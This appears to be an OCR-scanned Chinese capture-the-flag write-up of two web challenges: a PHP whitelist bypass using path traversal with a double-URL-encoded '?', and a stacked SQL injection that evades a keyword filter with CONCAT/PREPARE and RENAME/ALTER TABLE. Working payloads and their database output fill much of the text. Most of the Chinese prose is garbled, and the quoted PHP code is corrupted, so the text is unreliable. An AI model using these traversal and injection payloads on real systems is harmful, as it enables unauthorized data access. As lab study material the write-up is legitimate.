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<?php
highlight_file(__ FILE_ );

class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
¥
$ _page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?")
)s
if (in_array($_page, $whitelist)) {
return true;
¥
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?")
)
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm: :checkFile($ REQUEST['file'])
) {
include $ REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";

?>
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e isset(mixed $var ,mixed $... =?):bool
o KR var BREBEIHIE nULL -
e s _string (mixed $var ):bool
o MMTE var RERFRH.
e in_array (mixed $needle ,array $haystack ,bool $strict = false ): bool
o WAEHAH haystack HRBFETEAME needle .
o HYMNRELA, NILHE.
e mb substr(string $str ,int $start ,int $length = NULL, string $encoding =mb_internal_encoding() ) : string
o MI\EFREHIIT AL FH LM substr() #lE.
o HUFFFH str M start FF46 length KEMFH.
e mb_strpos (string $haystack , string $needle ,int $offset =0, string $encoding =mb_internal_encoding() ) : int
o BHFHFEH needle FEFFFEH haystack PERHIIKILE.
e urldecode (string $str ) :string
o MRIGCYHIGH URL FRFH str.
¢ include

o GFIREMABEHI XML, BaIINZIHF-.
R ZE
ENE
o W40 ITH if IBH)AMT T
o RAHSH file REBNT;
o S file R B NFRH;
o PR% checkFile 27 iR [ true »

o ERFAMFE K File M MKISCAHITIF, AR ERTETE .


https://www.php.net/manual/zh/function.isset.php
https://www.php.net/manual/zh/language.types.declarations.php#language.types.declarations.mixed
https://www.php.net/manual/zh/language.types.declarations.php#language.types.declarations.mixed
https://www.php.net/manual/zh/function.is-string.php
https://www.php.net/manual/zh/language.types.declarations.php#language.types.declarations.mixed
https://www.php.net/manual/zh/function.in-array.php
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checkFilerr %

o EE s ITHKSH file MIELZE page

o E7ITHHEARE, 252 source.php  hint.php -

o F8THWIAZE page RECHEAFHH, HRE, WEEME.
o F13THE—KFIN page REBTHEZH, HRUEE K.

o 517 TR FIAL B page , _page B TFHE—A ? ZHHIFREH.
o 2 TR ZIRFIW page REBTHEZH,

o 26 17X A& page #1T URL ZWIDHIMRRY, TRIEL page .

ER: page HUH URL , 1ENSEEANLSEHAT —IRED,

o 527 ITHBIMAIEEMAE _page .
o BRITEZRAM _page RBBETHAHE.

hint.php

o RARGHT flag FITEXHR.

flag not here, and flag in ffffllllaaaagggg
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o 7 ERBIFLAK =AW, 7B EARFRIRESH page BEIMHEE .

o B—IRAWIE, WAR page BH MM, WEFZMGRESH file (JRUHENK page ) A source.php B hint.php ,
BB B TR A XM FFFFf1111aaaagggg -

o FIRAWRT, HRBIFEIZETEEWL ? B source.php B hint.php , ZJEHIE 4 MERBEK.

BE? FHREASE T HE .

o ZRAY B FFFfllllaaaagggg » 7E ? ZEAMGNU N EHZBARFS ../, Bl

source.php?../../ffffllllaaaagggg

o 4 ../EE 8N, ML flag .

flag{b3aal967-5f91-4fd7-b89e-6313e0f74f14}

XEMIT 2, ERE=ZRAWRRT UL .
BT URL XA IR FAFHEAT A, SR RIS R ) R ARRS, K 2 BTk NI B RGBS IR AE

? => %3f => %253f

o fHFH %253f B » MBEZ)G, HBARSEN K %3F , BRI AT Seid 5 R U7 .
o E=IXFIWIHET, urldecode() ¥ %3f #Hib N 2, SERIIW.
o HHEE=IRAIB Payload -

source.php%253f../../../../../../../../ffffllllaaaagggg
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o XIEMKH BUUCTE , f£3i%17.
o WRKIFRAETE:
e SQLYEA
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o MEBAWMGEFRAME, FEMAM T BMEG.
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SQL

SQL

SELECT * FROM user WHERE user_id='${User-Name}" passwd="'${User-Passwd}"

# Payload


https://cheuhxg.github.io/2021/01/31/SQL%25E6%25B3%25A8%25E5%2585%25A5%25E6%25BC%258F%25E6%25B4%259E/
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https://buuoj.cn/challenges#%255B%25E5%25BC%25BA%25E7%25BD%2591%25E6%259D%25AF%202019%255D%25E9%259A%258F%25E4%25BE%25BF%25E6%25B3%25A8

B H f#

o JFE—ME, FTEFER.
o ZHBAK 1 NG, HIA—NHAFIE.

array(2) {

[e]=>

string(1) "1"

[1]=>

string(7) "hahahah"
}

o RIIBRT 138F hahahah , XEZ PHP K& M4 RIR IR HLFM K, BRE 1 WE WX R hahahah FfH .
o ' fENEIN, BREMEREER.

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server vers

ion for the right syntax to use near '"'"' at line 1

o WHIERA ' ZANERWAHE S, AN FRREN.
o FHTRHK ' or '1'="1 AR EHANAS.

array(2) {

[e]=>

string(1) "1"

[1]=>

string(7) "hahahah"
}

array(2) {
[e]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"

}

array(2) {
[e]=>
string(6) "114514"
[1]=>
string(2) "ys"

o FIRBEXNWEAT I EEH 2T, HHZERAFSERNT flag, ZRBETBEAEEANRS.
e %N 1' order by 2# 3EIWE, HHEBHSHEER.
o FHSHNMNBEEEHUIEIEE 1' union select 1,database();#, KI select #IEMTJE.

return preg match("/select|update|delete|drop|insert|where|\./i",$inject);
R TR

o MHHUTBAEANGRERT, PELAZERHESEN, £ ';show databases; FHIfHH .



array(1) {

[e]=>

string(11) "ctftraining"
}

array(1) {
[e]=>
string(18) "information_schema"

}

array(1) {

[0]=>

string(5) "mysql"
}

array(1) {
[e]=>
string(18) "performance_schema"

}

array(1) {

[e]=>

string(9) "supersqli"
}

array(1) {

[0]=>

string(4) "test"
}

o WHEEER T =ANWESRKEIERE, &SI supersqli FH AR M 1919810931114514 , BF L G KA NHI 40

s& flag »

#FZHPayLoad
';use supersqli;show columns from ~1919810931114514 ;

array(6) {
[e]=>
string(4) "flag"
[1]=>
string(12) "varchar(1e0)"
[2]=>
string(2) "NO"
[3]=>
string(@) ""
[4]=>
NULL
[5]=>
string(@) ""

H MBI B supersqli , B show tables BiALEFiXA %K.
RERAFAAHETTHT .

o TEMR, ZRIRHRERNKEE flagER, VHIENFEXT N 2 B B3R A 2 1919810931114514 .



i RB 5 1
o W E A REREN, ENE—BERE, KA THALBRLENIE, SR L% ORI

o BTG R T, BARIER S T, XL KE AW DUEEPIT, ZXHBAEST select MILIET .

SET @ var = expr KR var BB ANREN expr KIHE

CONCAT () SEN /78 PFE:, WSLH select AT IE.

PREPARE stmt FROM preparable_stmt ¥4 & preparable_stmt IR{EZ5 s iFiEA) stmt .
EXECUTE stmt $14T stmt BAFIRERIIE L.

o fEF CONCAT ¥ select &R SE, WERKRIEATE, BEMWIEFE Payload -

';SET @sql = CONCAT('SEL','ECT * FROM "1919810931114514 ;');PREPARE stmt FROM @sql;EXECUTE stmt;#

o MINEHE flag o

array(1) {

[e]=>

string(42) "flag{b6ecc82a-c36c-49ed-929e-caad898b3dle}"
}

o BIANTHEREWARINZ LA, BMEAAZNELT, SEZEEH words RHAE.

RENAME TABLE tbl_name TO new_tbl_name ¥ tbl_name K& M new_tbl_name .

o HITHEAMENEMRANT] id WER, WNSERIRNFIE, TER flag SIABONRBERK id 5 (BHREFEAFRME
EERRD

ALTER TABLE "words CHANGE flag ~id VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;

B H 4B CHARACTER SET utf8 COLLATE utf8 general ci NOT NULL At/ $dE BESE KR b R T o

o WEAEER R, Wi Payload .

';RENAME TABLE "words TO "word ;RENAME TABLE 1919810931114514 TO "words ;ALTER TABLE words CHANGE flag i
d VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;SHOW columns FROM words;

o BXERMIRIIZMOLMBEGEE, WIIESH B BETEMRE words 514, REEETREHARK 1 or '1'="1 BIW B 25
o


https://zhuanlan.zhihu.com/p/78989602
https://www.cnblogs.com/wtsgtc/p/10387007.html
https://www.cnblogs.com/geaozhang/p/9891338.html
https://www.cnblogs.com/peri0d/p/12123814.html
https://dev.mysql.com/doc/refman/8.0/en/rename-table.html

array(6) {
[0]=>
string(2) "id"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(@) ""
[4]=>
NULL
[5]=>
string(@) ""
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